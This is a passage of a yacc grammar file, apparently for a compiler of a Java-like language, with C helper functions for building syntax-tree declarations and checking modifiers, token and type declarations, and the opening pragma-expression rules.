hdr->formals,
hdr->throws,
hdr->t
);
}
else if( hdr->modifiers & ACC_NATIVE ){
if( body != BlockNIL ){
parserror( "Native methods cannot have a body" );
rfre_Block( body );
body = BlockNIL;
}
res = new_NativeFunctionDeclaration(
rdup_origin( hdr->name->org ),
Pragma_listNIL, // Pragmas
origsymbol_listNIL, // Labels
hdr->modifiers,
false,
hdr->name,
hdr->formals,
hdr->throws,
hdr->t
);
}
else {
if( body == BlockNIL ){
parserror( "This method requires a body; otherwise declare it as abstract" );
}
res = new_FunctionDeclaration(
rdup_origin( hdr->name->org ),
Pragma_listNIL,
origsymbol_listNIL, // Labels
hdr->modifiers,
false,
hdr->name,
hdr->formals,
hdr->throws,
hdr->t,
body
);
}
fre_MethodHeader( hdr );
return res;
}
/* Given a statement, make it a Block.
* If the statement is a BlockStatement, be smart.
*/
static Block make_statement_Block( statement s )
{
Block res;
if( s->tag == TAGBlockStatement ){
BlockStatement bs = to_BlockStatement(s);
res = rdup_Block( bs->body );
if( bs->pragmas != Pragma_listNIL && bs->pragmas->sz != 0 ){
if( res->pragmas == Pragma_listNIL ){
res->pragmas = rdup_Pragma_list( bs->pragmas );
}
else {
res->pragmas = concat_Pragma_list(
rdup_Pragma_list( bs->pragmas ),
res->pragmas
);
}
}
rfre_statement( s );
}
else {
statement_list sl = new_statement_list();
sl = append_statement_list( sl, s );
res = new_Block( tmsymbolNIL, new_Pragma_list(), sl );
}
return res;
}
/* Given a MethodHeader, sort out which kind of
* interface declaration this is, and return the appropriate one.
*
* Parts of the input structures are used in the return value, the
* remainder is freed.
*/
static declaration unwrap_abstract_declaration( MethodHeader hdr )
{
declaration res;
hdr->t = wrap_ranked_type( hdr->t, hdr->wrap );
res = new_AbstractFunctionDeclaration(
rdup_origin( hdr->name->org ),
Pragma_listNIL, // Pragmas
origsymbol_listNIL, // Labels
hdr->modifiers|ACC_ABSTRACT,
false,
hdr->name,
hdr->formals,
hdr->throws,
hdr->t
);
fre_MethodHeader( hdr );
return res;
}
/* Given a method header and a body, return a constructor declaration */
static declaration unwrap_constructor_declaration( MethodHeader hdr, Block body )
{
ConstructorDeclaration res = new_ConstructorDeclaration(
rdup_origin( hdr->name->org ),
Pragma_listNIL, // Pragmas
origsymbol_listNIL, // Labels
hdr->modifiers,
false,
hdr->name,
hdr->formals,
hdr->throws,
body
);
fre_MethodHeader( hdr );
return res;
}
static origsymbol qualify_name( origsymbol prefix, tmsymbol suffix )
{
const char *prestr = prefix->sym->name;
const char *suffstr = suffix->name;
tmstring buf = qualify_tmstring( prestr, suffstr );
rfre_tmsymbol( prefix->sym );
rfre_tmsymbol( suffix );
prefix->sym = add_tmsymbol( buf );
rfre_tmstring( buf );
return prefix;
}
static statement_list enforce_interface_flags( statement_list sl )
{
for( unsigned int ix=0; ix<sl->sz; ix++ ){
statement s = sl->arr[ix];
switch( s->tag ){
case TAGFieldDeclaration:
to_declaration( s )->flags |= ACC_PUBLIC|ACC_FINAL|ACC_STATIC;
break;
case TAGAbstractFunctionDeclaration:
// Every method declaration in the body of an interface is
// implicitly public abstract. See JLS2 9.4.
to_declaration( s )->flags |= ACC_PUBLIC|ACC_ABSTRACT;
break;
case TAGClassDeclaration:
case TAGInterfaceDeclaration:
// Every member type declaration in the body of an interface is
// implicitly public static. See JLS2 9.5.
to_declaration( s )->flags |= ACC_PUBLIC|ACC_STATIC;
break;
default:
internal_error( "Only fields and abstract methods allowed in an interface" );
break;
}
if( is_declaration( s ) ){
declaration dcl = to_declaration( s );
dcl->flags = check_access_modifiers( dcl->org, dcl->flags );
}
}
return sl;
}
// Given a list of statements that presumably are constant declarations
// in an interface, make sure that these fields only have the allowed
// fields for an interface constant.
statement_list enforce_constant_restrictions( statement_list sl )
{
for( unsigned int ix=0; ix<sl->sz; ix++ ){
statement s = sl->arr[ix];
assert( is_declaration( s ) );
declaration decl = to_declaration( s );
if( decl->flags & ~MODS_CONSTANT ){
complain_modifiers( s->org, decl->flags & ~MODS_CONSTANT, "constant" );
decl->flags &= MODS_CONSTANT;
}
}
return sl;
}
static expression generate_ClassIdConstructorCall( origsymbol t )
{
const char *classnm = "java.lang.Class";
expression res = new_NewClassExpression(
expressionNIL,
new_ObjectType( add_origsymbol( classnm ) ),
append_expression_list(
new_expression_list(),
new_ClassIdExpression( t )
),
statement_listNIL
);
return res;
}
static expression generate_basetype_ClassIdConstructorCall( BASETYPE t )
{
const char *classnm = "java.lang.Class";
const char *tnm = NULL;
switch( t ){
case BT_BOOLEAN: tnm = "java.lang.Boolean"; break;
case BT_STRING: tnm = "java.lang.String"; break;
case BT_COMPLEX: tnm = "java.lang.Complex"; break;
case BT_BYTE: tnm = "java.lang.Byte"; break;
case BT_SHORT: tnm = "java.lang.Short"; break;
case BT_CHAR: tnm = "java.lang.Character"; break;
case BT_INT: tnm = "java.lang.Integer"; break;
case BT_LONG: tnm = "java.lang.Long"; break;
case BT_FLOAT: tnm = "java.lang.Float"; break;
case BT_DOUBLE: tnm = "java.lang.Double"; break;
}
origsymbol t_class = add_origsymbol( tnm );
expression res = new_NewClassExpression(
expressionNIL,
new_ObjectType( add_origsymbol( classnm ) ),
append_expression_list(
new_expression_list(),
new_ClassIdExpression( t_class )
),
statement_listNIL
);
return res;
}
// Given two operands `r' and `l', and an operator name `op', construct
// an PragmaExpressionList representing this binary expression.
//
// If `r' is an expression list with the same operator as the symbol
// at the first position in the list, splice in the operands of that
// expression list.
static PragmaExpression_list build_binop_PragmaExpression(
PragmaExpression l,
const char *op,
origin org,
PragmaExpression r
)
{
PragmaExpression_list res = new_PragmaExpression_list();
tmsymbol opsym = add_tmsymbol( op );
res = append_PragmaExpression_list(
res,
new_NamePragmaExpression( new_origsymbol( opsym, org ) )
);
if( l->tag == TAGListPragmaExpression ){
PragmaExpression_list ll = to_ListPragmaExpression( l )->l;
if( ll->sz>0 ){
PragmaExpression lop = ll->arr[0];
if( lop->tag == TAGNamePragmaExpression ){
origsymbol nm = to_NamePragmaExpression( lop )->name;
if( nm->sym == opsym ){
res = concat_PragmaExpression_list(
res,
delete_PragmaExpression_list(
rdup_PragmaExpression_list( ll ),
0
)
);
rfre_PragmaExpression( l );
l = PragmaExpressionNIL;
}
}
}
}
if( l != PragmaExpressionNIL ){
res = append_PragmaExpression_list( res, l );
}
res = append_PragmaExpression_list( res, r );
return res;
}
// Build the statement `super();'. This is inserted if there is
// no explict super or this call in a constructor body.
static statement build_default_super()
{
statement super = new_SuperConstructorInvocationStatement(
gen_origin(),
Pragma_listNIL,
origsymbol_listNIL, // Labels
new_expression_list()
);
return super;
}
// Given a set of modifiers that are intended for a method, check
// that the right combination of modifiers.
static modflags check_method_modifiers( modflags flags )
{
if( has_flags( flags, ACC_ABSTRACT|ACC_STATIC ) ){
parserror( "a static method cannot be abstract" );
flags &= ~ACC_STRICTFP;
}
if( has_flags( flags, ACC_NATIVE|ACC_ABSTRACT ) ){
parserror( "a native method cannot be abstract" );
flags &= ~ACC_ABSTRACT;
}
if( has_flags( flags, ACC_ABSTRACT|ACC_STRICTFP ) ){
parserror( "an abstract method cannot be strictftp" );
flags &= ~ACC_STRICTFP;
}
if( has_flags( flags, ACC_ABSTRACT|ACC_SYNCHRONIZED ) ){
parserror( "an abstract method cannot be synchronized" );
flags &= ~ACC_SYNCHRONIZED;
}
if( has_flags( flags, ACC_ABSTRACT|ACC_FINAL ) ){
parserror( "an abstract method cannot be final" );
flags &= ~ACC_FINAL;
}
if( has_flags( flags, ACC_ABSTRACT|ACC_PRIVATE ) ){
parserror( "an abstract method cannot be private" );
flags &= ~ACC_FINAL;
}
if( has_flags( flags, ACC_NATIVE|ACC_STRICTFP ) ){
parserror( "a native method cannot be strictftp" );
flags &= ~ACC_STRICTFP;
}
if( flags & ACC_INLINE ){
if( !has_any_flag( flags, (ACC_STATIC|ACC_FINAL) ) ){
modflags class_flags = get_top_class_modifiers();
if( !has_any_flag( class_flags, ACC_FINAL ) ){
parserror( "an inline method must be either static or final" );
flags |= ACC_FINAL;
}
}
if( flags & ~MODS_INLINE ){
origin org = make_origin();
complain_modifiers( org, flags & ~MODS_INLINE, "inline method" );
flags &= MODS_INLINE;
rfre_origin( org );
}
}
else {
if( flags & ~MODS_METHOD ){
origin org = make_origin();
complain_modifiers( org, flags & ~MODS_METHOD, "method" );
flags &= MODS_METHOD;
rfre_origin( org );
}
}
return flags;
}
/* Given PreIncrement expression, convert it to an assignment statement. */
static AssignStatement transmog_PreIncrementExpression( PreIncrementExpression x )
{
assert( x->tag == TAGPreIncrementExpression );
AssignStatement res = new_AssignStatement(
originNIL,
Pragma_listNIL,
origsymbol_listNIL, // Labels
ASSIGN_PLUS,
x->x,
new_IntExpression( 1 )
);
fre_expression( x );
return res;
}
/* Given PreDecrement expression, convert it to an assignment statement. */
static AssignStatement transmog_PreDecrementExpression( PreDecrementExpression x )
{
assert( x->tag == TAGPreDecrementExpression );
AssignStatement res = new_AssignStatement(
originNIL,
Pragma_listNIL,
origsymbol_listNIL, // Labels
ASSIGN_MINUS,
x->x,
new_IntExpression( 1 )
);
fre_expression( x );
return res;
}
/* Given PostIncrement expression, convert it to an assignment statement. */
static AssignStatement transmog_PostIncrementExpression( PostIncrementExpression x )
{
assert( x->tag == TAGPostIncrementExpression );
AssignStatement res = new_AssignStatement(
originNIL,
Pragma_listNIL,
origsymbol_listNIL, // Labels
ASSIGN_PLUS,
x->x,
new_IntExpression( 1 )
);
fre_expression( x );
return res;
}
/* Given PostDecrement expression, convert it to an assignment statement. */
static AssignStatement transmog_PostDecrementExpression( PostDecrementExpression x )
{
assert( x->tag == TAGPostDecrementExpression );
AssignStatement res = new_AssignStatement(
originNIL,
Pragma_listNIL,
origsymbol_listNIL, // Labels
ASSIGN_MINUS,
x->x,
new_IntExpression( 1 )
);
fre_expression( x );
return res;
}
/* Given a MethodInvocation expression, convert it to a MethodInvocation
* statement.
*/
static statement transmog_invocation_expression( expression x )
{
statement res = statementNIL;
switch( x->tag ){
case TAGMethodInvocationExpression:
{
MethodInvocationExpression call = to_MethodInvocationExpression ( x );
res = new_MethodInvocationStatement(
originNIL,
Pragma_listNIL,
origsymbol_listNIL, // Labels
call->invocation
);
fre_expression( x );
break;
}
case TAGFieldInvocationExpression:
{
FieldInvocationExpression call = to_FieldInvocationExpression ( x );
res = new_FieldInvocationStatement(
originNIL,
Pragma_listNIL,
origsymbol_listNIL, // Labels
call->var,
call->field,
call->parameters
);
fre_expression( x );
break;
}
case TAGTypeInvocationExpression:
{
TypeInvocationExpression call = to_TypeInvocationExpression ( x );
res = new_TypeInvocationStatement(
call->org,
Pragma_listNIL,
origsymbol_listNIL, // Labels
call->t,
call->field,
call->parameters
);
fre_expression( x );
break;
}
case TAGSuperInvocationExpression:
{
SuperInvocationExpression call = to_SuperInvocationExpression ( x );
res = new_SuperInvocationStatement(
call->org,
Pragma_listNIL,
origsymbol_listNIL, // Labels
call->field,
call->parameters
);
fre_expression( x );
break;
}
case TAGOuterSuperInvocationExpression:
{
OuterSuperInvocationExpression call = to_OuterSuperInvocationExpression ( x );
res = new_OuterSuperInvocationStatement(
call->org,
Pragma_listNIL,
origsymbol_listNIL, // Labels
call->t,
call->field,
call->parameters
);
fre_expression( x );
break;
}
default:
internal_error( "not an invocation expression" );
break;
}
return res;
}
// Given an expression, make sure that it can be assigned to.
// Of course, at this point we can only descide based on structure, but
// that leaves room enough for some loud complaints.
static void verify_assignable_expression( const_expression x )
{
switch( x->tag ){
case TAGMethodInvocationExpression:
case TAGFieldInvocationExpression:
case TAGTypeInvocationExpression:
case TAGSuperInvocationExpression:
case TAGOuterSuperInvocationExpression:
parserror( "cannot assign to an invocation" );
break;
case TAGByteExpression:
case TAGShortExpression:
case TAGIntExpression:
case TAGLongExpression:
case TAGFloatExpression:
case TAGDoubleExpression:
case TAGClassIdExpression:
case TAGCharExpression:
case TAGBooleanExpression:
case TAGStringExpression:
case TAGNullExpression:
case TAGSizeofExpression:
case TAGClassExpression:
case TAGDefaultValueExpression:
case TAGInternalizeExpression:
parserror( "cannot assign to a literal" );
break;
case TAGAssignOpExpression:
parserror( "cannot assign to assignment expression" );
break;
case TAGPostIncrementExpression:
case TAGPreIncrementExpression:
parserror( "cannot assign to an increment expression" );
break;
case TAGPostDecrementExpression:
case TAGPreDecrementExpression:
parserror( "cannot assign to a decrement expression" );
break;
case TAGTypeExpression:
parserror( "cannot assign to a type expression" );
break;
case TAGBracketExpression:
#if 0
parserror( "cannot assign to a bracketed expression" );
#endif
verify_assignable_expression( to_const_BracketExpression(x)->x );
break;
case TAGArrayInitExpression:
parserror( "cannot assign to an array init expression" );
break;
case TAGCastExpression:
case TAGForcedCastExpression:
parserror( "cannot assign to a cast expression" );
break;
case TAGAnnotationExpression:
verify_assignable_expression( to_const_AnnotationExpression(x)->x );
break;
case TAGNotNullAssertExpression:
verify_assignable_expression( to_const_NotNullAssertExpression(x)->x );
break;
case TAGIfExpression:
case TAGWhereExpression:
case TAGUnopExpression:
case TAGBinopExpression:
case TAGShortopExpression:
case TAGInstanceOfExpression:
case TAGClassInstanceOfExpression:
case TAGInterfaceInstanceOfExpression:
case TAGTypeInstanceOfExpression:
case TAGGetBufExpression:
case TAGGetSizeExpression:
case TAGGetLengthExpression:
parserror( "cannot assign to an operator expression" );
break;
case TAGNewArrayExpression:
case TAGNewRecordExpression:
case TAGNewInitArrayExpression:
case TAGNewClassExpression:
parserror( "cannot assign to a `new' expression" );
break;
case TAGVariableNameExpression:
case TAGSubscriptExpression:
case TAGVectorSubscriptExpression:
case TAGFieldExpression:
case TAGSuperFieldExpression:
case TAGOuterSuperFieldExpression:
case TAGOuterThisExpression:
case TAGTypeFieldExpression:
case TAGVectorExpression:
case TAGComplexExpression: // Future extension
// No problem.
break;
}
}
/* ------------------------------------------------- */
%}
%union {
BASETYPE _basetype;
Block _Block;
Cardinality _Cardinality;
Cardinality_list _CardinalityList;
Catch _Catch;
Catch_list _CatchList;
ActualDim_list _ActualDimList;
FormalDim _Dim;
FormalDim_list _DimList;
FormalParameter _parm;
FormalParameter_list _parmList;
Import _Import;
Import_list _ImportList;
MethodHeader _MethodHeader;
Pragma _APragma;
Pragma_list _PragmaList;
SwitchCase _SwitchCase;
SwitchCase_list _SwitchCaseList;
WaitCase _WaitCase;
WaitCase_list _WaitCaseList;
declaration _declaration;
expression _expression;
expression_list _expressionList;
modflags _modflags;
optexpression _optexpression;
origin _origin;
origsymbol _Identifier;
statement _statement;
statement_list _statementList;
vnus_double _vnus_double;
vnus_float _vnus_float;
tmstring _vnus_string;
tmsymbol _identifier;
type _type;
type_list _typeList;
varid _varid;
varid_list _varidList;
tmuint _uint;
vnus_char _vnus_char;
vnus_int _vnus_int;
vnus_long _vnus_long;
PragmaExpression _pragmaExpr;
PragmaExpression_list _pragmaExprList;
}
%start CompilationUnit
/* The typed tokens first. */
%token <_identifier> IDENTIFIER
%token <_vnus_char> CHAR_LITERAL
%token <_vnus_double> DOUBLE_LITERAL
%token <_vnus_double> IMAGINARY_LITERAL
%token <_vnus_float> FLOAT_LITERAL
%token <_vnus_int> INT_LITERAL
%token <_vnus_long> LONG_LITERAL
%token <_vnus_string> STRING_LITERAL
%token KEY_ABSTRACT
%token KEY_ARRAY
%token KEY_ASSERT
%token KEY_BOOLEAN
%token KEY_BREAK
%token KEY_BYTE
%token KEY_CASE
%token KEY_TIMEOUT
%token KEY_CATCH
%token KEY_CHAR
%token KEY_CLASS
%token KEY_COMPLEX
%token KEY_CONST // Reserved word, but unused
%token KEY_CONTINUE
%token KEY_DEFAULT
%token KEY_DELETE
%token KEY_DO
%token KEY_DOUBLE
%token KEY_DOUBLEBITS
%token KEY_EACH
%token KEY_ELSE
%token KEY_EXTENDS
%token KEY_FALSE
%token KEY_FINAL
%token KEY_FINALLY
%token KEY_FLOAT
%token KEY_FLOATBITS
%token KEY_FOR
%token KEY_FOREACH
%token KEY_GETBUF
%token KEY_GLOBALPRAGMAS
%token KEY_GOTO // Reserved word, but unused
%token KEY_IF
%token KEY_IMPLEMENTS
%token KEY_IMPORT
%token KEY_INLINE
%token KEY_INSTANCEOF
%token KEY_INT
%token KEY_INTERFACE
%token KEY_LONG
%token KEY_NATIVE
%token KEY_NEW
%token KEY_NULL
%token KEY_PACKAGE
%token KEY_PRINT
%token KEY_PRINTLN
%token KEY_PRIVATE
%token KEY_PROTECTED
%token KEY_PUBLIC
%token KEY_RETURN
%token KEY_SHORT
%token KEY_SIZEOF
%token KEY_STATIC
%token KEY_STRICTFP
%token KEY_STRING
%token KEY_SUPER
%token KEY_SWITCH
%token KEY_SYNCHRONIZED
%token KEY_THIS
%token KEY_THROW
%token KEY_THROWS
%token KEY_TRANSIENT
%token KEY_TRUE
%token KEY_TRY
%token KEY_TYPE
%token KEY_VOID
%token KEY_VOLATILE
%token KEY_WAIT
%token KEY_WHILE
%token OP_AND
%token OP_ASSIGNAND
%token OP_ASSIGNDIVIDE
%token OP_ASSIGNMENT
%token OP_ASSIGNMINUS
%token OP_ASSIGNMOD
%token OP_ASSIGNOR
%token OP_ASSIGNPLUS
%token OP_ASSIGNSHIFTLEFT
%token OP_ASSIGNSHIFTRIGHT
%token OP_ASSIGNTIMES
%token OP_ASSIGNUSHIFTRIGHT
%token OP_ASSIGNXOR
%token OP_DECREMENT
%token OP_DIVIDE
%token OP_EQUAL
%token OP_GENERIC_CLOSE
%token OP_GENERIC_OPEN
%token OP_GREATER
%token OP_GREATEREQUAL
%token OP_INCREMENT
%token OP_INVERT
%token OP_ITERATES
%token OP_LESS
%token OP_FLOWTO
%token OP_LESSEQUAL
%token OP_MINUS
%token OP_MOD
%token OP_NOT
%token OP_NOTEQUAL
%token OP_OR
%token OP_PLUS
%token OP_PRAGMAEND
%token OP_PRAGMASTART
%token OP_SHIFTLEFT
%token OP_SHIFTRIGHT
%token OP_SHORTAND
%token OP_SHORTOR
%token OP_TIMES
%token OP_USHIFTRIGHT
%token OP_XOR
/* This implements the classical operator precedence.
* The lower an operator is on the list of binding directions, the stronger it
* binds.
*/
%left OP_ASSIGNMENT OP_ASSIGNAND OP_ASSIGNOR OP_ASSIGNDIVIDE OP_ASSIGNTIMES OP_ASSIGNMINUS OP_ASSIGNMOD OP_ASSIGNPLUS OP_ASSIGNSHIFTLEFT OP_ASSIGNSHIFTRIGHT OP_ASSIGNUSHIFTRIGHT OP_ASSIGNXOR
%right '?' ':'
%left OP_DIY_INFIX
%left OP_SHORTOR
%left OP_SHORTAND
%left OP_OR
%left OP_XOR
%left OP_AND
%left OP_EQUAL OP_NOTEQUAL
%left OP_LESS OP_LESSEQUAL OP_GREATER OP_GREATEREQUAL KEY_INSTANCEOF
%left OP_SHIFTLEFT OP_SHIFTRIGHT OP_USHIFTRIGHT
%left OP_PLUS OP_MINUS
%left OP_TIMES OP_DIVIDE OP_MOD
%left OP_UNOP
%left OP_CAST '[' '@'
/* To resolve the classical if-then-else ambiguity. No, I don't
* understand either why the ')' has to be there.
*/
%right ')' KEY_ELSE
/* use sort -b +2 */
%type <_declaration> AbstractMethodDeclaration
%type <_expression> Argument
%type <_expressionList> ArgumentList
%type <_expressionList> ArgumentListOpt
%type <_pragmaExprList> ArithmeticPragmaExpression
%type <_expression> ArrayAccess
%type <_expression> ArrayCreationExpression
%type <_expression> ArrayInitializer
%type <_type> ArrayType
%type <_expression> AssignableExpression
%type <_expression> Assignment
%type <_expression> AssignmentExpression
%type <_Block> Block
%type <_statementList> BlockStatement
%type <_statementList> BlockStatements
%type <_statementList> BlockStatementsOpt
%type <_expression> BooleanLiteral
%type <_statement> BreakStatement
%type <_statement> CardForStatement
%type <_CardinalityList> Cardinalities
%type <_Cardinality> Cardinality
%type <_CardinalityList> CardinalityList
%type <_expression> CardinalityLowerbound
%type <_expression> CastExpression
%type <_Catch> CatchClause
%type <_CatchList> Catches
%type <_CatchList> CatchesOpt
%type <_Identifier> ClassAsName
%type <_statementList> ClassBody
%type <_statementList> ClassBodyDeclaration
%type <_statementList> ClassBodyDeclarations
%type <_statementList> ClassBodyDeclarationsOpt
%type <_statementList> ClassBodyOpt
%type <_declaration> ClassDeclaration
%type <_expression> ClassExpression
%type <_expression> ClassInstanceCreationExpression
%type <_statementList> ClassMemberDeclaration
%type <_modflags> ClassModifiersOpt
%type <_type> ClassOrInterfaceType
%type <_type> ClassType
%type <_typeList> ClassTypeList
%type <_statementList> ConstantDeclaration
%type <_expression> ConstantExpression
%type <_Block> ConstructorBody
%type <_declaration> ConstructorDeclaration
%type <_MethodHeader> ConstructorDeclarator
%type <_statementList> ConstructorStatementsOpt
%type <_statement> ContinueStatement
%type <_statement> Control
%type <_statement> Delete
%type <_Dim> Dim
%type <_DimList> Dims
%type <_DimList> DimsOpt
%type <_statement> DoStatement
%type <_statement> EachStatement
%type <_statement> EmptyStatement
%type <_statement> ExplicitConstructorInvocation
%type <_expression> Expression
%type <_expressionList> ExpressionList
%type <_optexpression> ExpressionOpt
%type <_statement> ExpressionStatement
%type <_typeList> ExtendsInterfaces
%type <_typeList> ExtendsInterfacesOpt
%type <_expression> FieldAccess
%type <_statementList> FieldDeclaration
%type <_Block> Finally
%type <_expression> FloatingPointLiteral
%type <_statementList> ForInit
%type <_statementList> ForInitOpt
%type <_statement> ForStatement
%type <_statementList> ForUpdate
%type <_statementList> ForUpdateOpt
%type <_statement> ForeachStatement
%type <_parm> FormalParameter
%type <_parmList> FormalParameterList
%type <_parmList> FormalParameterListOpt
%type <_type> GenericClassOrInterfaceType
%type <_PragmaList> GlobalPragmasOpt
%type <_Identifier> Identifier
%type <_Identifier> IdentifierOpt
%type <_statement> IfStatement
%type <_statement> Imperative
%type <_Import> ImportDeclaration
%type <_ImportList> ImportDeclarations
%type <_ImportList> ImportDeclarationsOpt
%type <_expression> IntegerLiteral
%type <_statementList> InterfaceBody
%type <_declaration> InterfaceDeclaration
%type <_statementList> InterfaceMemberDeclaration
%type <_statementList> InterfaceMemberDeclarations
%type <_modflags> InterfaceModifiersOpt
%type <_type> InterfaceType
%type <_typeList> InterfaceTypeList
%type <_typeList> Interfaces
%type <_typeList> InterfacesOpt
%type <_Identifier> LabelName
%type <_pragmaExpr> ListPragmaExpression
%type <_expression> Literal
%type <_pragmaExpr> LiteralPragmaExpression
%type <_statementList> LocalVariableDeclaration
%type <_statementList> LocalVariableDeclarationStatement
%type <_expression> MacroExpression
%type <_statement> MemoryManagement
%type <_Block> MethodBody
%type <_declaration> MethodDeclaration
%type <_MethodHeader> MethodDeclarator
%type <_MethodHeader> MethodHeader
%type <_expression> MethodInvocation
%type <_modflags> Modifier
%type <_modflags> Modifiers
%type <_modflags> ModifiersOpt
%type <_Identifier> Name
%type <_pragmaExpr> NamePragmaExpression
%type <_expression> OperatorExpression
%type <_origin> Origin
%type <_Identifier> PackageDeclaration
%type <_Identifier> PackageDeclarationOpt
%type <_statement> Parallelization
%type <_expression> PostDecrementExpression
%type <_expression> PostIncrementExpression
%type <_expression> PostfixExpression
%type <_APragma> Pragma
%type <_pragmaExpr> PragmaExpression
%type <_pragmaExprList> PragmaExpressionList
%type <_pragmaExprList> PragmaExpressions
%type <_PragmaList> PragmaList
%type <_PragmaList> Pragmas
%type <_PragmaList> PragmasOpt
%type <_expression> PreDecrementExpression
%type <_expression> PreIncrementExpression
%type <_type> PrimArrayType
%type <_expression> Primary
%type <_expression> PrimaryNoNewArray
%type <_basetype> PrimitiveType
%type <_statement> Print
%type <_statement> PrintLn
%type <_Identifier> QualifiedName
%type <_type> ReferenceType
%type <_pragmaExprList> RelationalPragmaExpression
%type <_statement> ReturnStatement
%type <_Identifier> SimpleName
%type <_Import> SingleTypeImportDeclaration
%type <_uint> Size
%type <_uint> SizeList
%type <_statement> Statement
%type <_statement> StatementBlock
%type <_statement> StatementExpression
%type <_statementList> StatementExpressionList
%type <_statement> StaticInitializer
%type <_pragmaExprList> SubscriptPragmaExpression
%type <_type> Super
%type <_type> SuperOpt
%type <_statement> Support
%type <_WaitCase> WaitCase
%type <_WaitCaseList> WaitCaseList
%type <_SwitchCase> SwitchCase
%type <_SwitchCaseList> SwitchCaseList
%type <_statement> WaitStatement
%type <_statement> SwitchStatement
%type <_statement> SynchronizedStatement
%type <_expression> TemplateArgument
%type <_expressionList> TemplateArgumentList
%type <_expressionList> TemplateArgumentListOpt
%type <_parm> TemplateFormalParameter
%type <_parmList> TemplateFormalParameterList
%type <_parmList> TemplateFormalParameterListOpt
%type <_statement> ThrowStatement
%type <_typeList> Throws
%type <_typeList> ThrowsOpt
%type <_statement> TryStatement
%type <_type> TupleType
%type <_type> Type
%type <_declaration> TypeDeclaration
%type <_statementList> TypeDeclarations
%type <_statementList> TypeDeclarationsOpt
%type <_Import> TypeImportOnDemandDeclaration
%type <_parmList> TypeParameters
%type <_parmList> TypeParametersOpt
%type <_expression> UnaryExpression
%type <_statement> UnlabeledStatement
%type <_statement> ValueReturnStatement
%type <_varid> VariableDeclarator
%type <_varid> VariableDeclaratorId
%type <_varidList> VariableDeclarators
%type <_expression> VariableInitializer
%type <_expressionList> VariableInitializers
%type <_expressionList> Vector
%type <_expression> VectorExpr
%type <_ActualDimList> Vectors
%type <_type> VerboseType
%type <_typeList> VerboseTypeList
%type <_statement> WhileStatement
%%
/* Helper definitions */
CommaOpt:
/* empty */
|
','
;
PragmaExpression:
LiteralPragmaExpression
{ $$ = $1; }
|
NamePragmaExpression
{ $$ = $1; }
|
SubscriptPragmaExpression
{ $$ = new_ListPragmaExpression( $1 ); }
|
ArithmeticPragmaExpression
{ $$ = new_ListPragmaExpression( $1 ); }
|
RelationalPragmaExpression
{ $$ = new_ListPragmaExpression( $1 ); }
|
ListPragmaExpression
{ $$ = $1; }
;
LiteralPragmaExpression:
INT_LITERAL
{ $$ = new_NumberPragmaExpression( (vnus_double) $1 ); }
|
FLOAT_LITERAL
{ $$ = new_NumberPragmaExpression( (vnus_double) $1 ); }
|
DOUBLE_LITERAL
{ $$ = new_NumberPragmaExpression( $1 ); }
|
STRING_LITERAL
{ $$ = new_StringPragmaExpression( $1 ); }
|
KEY_TRUE
{ $$ = new_BooleanPragmaExpression( true ); }
|
KEY_FALSE
{ $$ = new_BooleanPragmaExpression( false ); }
;
NamePragmaExpression:
Identifier
{ $$ = new_NamePragmaExpression( $1 ); }
|
'@' Identifier
{ $$ = new_ExternalNamePragmaExpression( $2 ); }
;
SubscriptPragmaExpression:
PragmaExpression '[' Origin PragmaExpressionList ']'
{
$$ = $4;
$$ = insert_PragmaExpression_list( $$, 0, $1 );
$$ = insert_PragmaExpression_list(
$$,
0,
new_NamePragmaExpression(
new_origsymbol( add_tmsymbol( "at" ), $3 )
)
);
}
;
ArithmeticPragmaExpression:
PragmaExpression OP_PLUS Origin PragmaExpression
{ $$ = build_binop_PragmaExpression( $1, "sum", $3, $4 ); }
|
PragmaExpression OP_TIMES Origin PragmaExpression
{ $$ = build_binop_PragmaExpression( $1, "prod", $3, $4 ); }
|
PragmaExpression OP_MINUS Origin PragmaExpression
{ $$ = build_binop_PragmaExpression( $1, "subtract", $3, $4 ); }
|
PragmaExpression OP_DIVIDE Origin PragmaExpression
{ $$ = build_binop_PragmaExpression( $1, "div", $3, $4 ); }
|
PragmaExpression OP_MOD Origin PragmaExpression
{ $$ = build_binop_PragmaExpression( $1, "mod", $3, $4 ); }
;
RelationalPragmaExpression:
PragmaExpression OP_EQUAL Origin PragmaExpression
{ $$ = build_binop_PragmaExpression( $1, "eq", $3, $4 ); }
|
PragmaExpression OP_NOTEQUAL Origin PragmaExpression
{ $$ = build_binop_PragmaExpression( $1, "ne", $3, $4 ); }
|
PragmaExpression OP_LESSEQUAL Origin PragmaExpression
{ $$ = build_binop_PragmaExpression( $1, "le", $3, $4 ); }
|
PragmaExpression OP_LESS Origin PragmaExpression
{ $$ = build_binop_PragmaExpression( $1, "lt", $3, $4 ); }
|
PragmaExpression OP_GREATEREQUAL Origin PragmaExpression
{ $$ = build_binop_PragmaExpression( $1, "ge", $3, $4 ); }
|
PragmaExpression OP_GREATER Origin PragmaExpression
{ $$ = build_binop_PragmaExpression( $1, "gt", $3, $4 ); }
;
ListPragmaExpression:
'(' PragmaExpressions ')'
{ $$ = new_ListPragmaExpression( $2 ); }
;
PragmaExpressionList:
/* empty */
{ $$ = new_PragmaExpression_list(); }
|
PragmaExpression
{ $$ = append_PragmaExpression_list( new_PragmaExpression_list(), $1 ); }
|
PragmaExpressionList ',' PragmaExpression
{ $$ = append_PragmaExpression_list( $1, $3 ); }
;
PragmaExpressions:
/* empty */
{ $$ = new_PragmaExpression_list(); }
|
PragmaExpressions PragmaExpression
{ $$ = append_PragmaExpression_list( $1, $2 ); }
;
Pragma:
Identifier
{ $$ = new_FlagPragma( $1 ); }
|
Identifier OP_ASSIGNMENT PragmaExpression
{ $$ = new_ValuePragma( $1, $3 ); }
;
PragmaList:
/* empty */
{ $$ = new_Pragma_list(); }
|
Pragma
{ $$ = append_Pragma_list( new_Pragma_list(), $1 ); }
|
PragmaList ',' Pragma
{ $$ = append_Pragma_list( $1, $3 ); }
;
PragmaStartSymbol:
OP_PRAGMASTART
{ enter_pragma_state(); }
;
PragmaEndSymbol:
OP_PRAGMAEND
{ leave_pragma_state(); }
;
Pragmas:
PragmaStartSymbol PragmaList PragmaEndSymbol
{ $$ = $2; }
|
PragmaStartSymbol error PragmaEndSymbol
{ $$ = new_Pragma_list(); }
;
GlobalPragmasOpt:
/* empty */
{ $$ = new_Pragma_list(); }
|
KEY_GLOBALPRAGMAS Pragmas ';'
{ $$ = $2; }
|
KEY_GLOBALPRAGMAS error ';'
{ $$ = new_Pragma_list(); }
;
PragmasOpt:
/* empty */
{ $$ = new_Pragma_list(); }
|
Pragmas
{ $$ = $1; }
;
Origin:
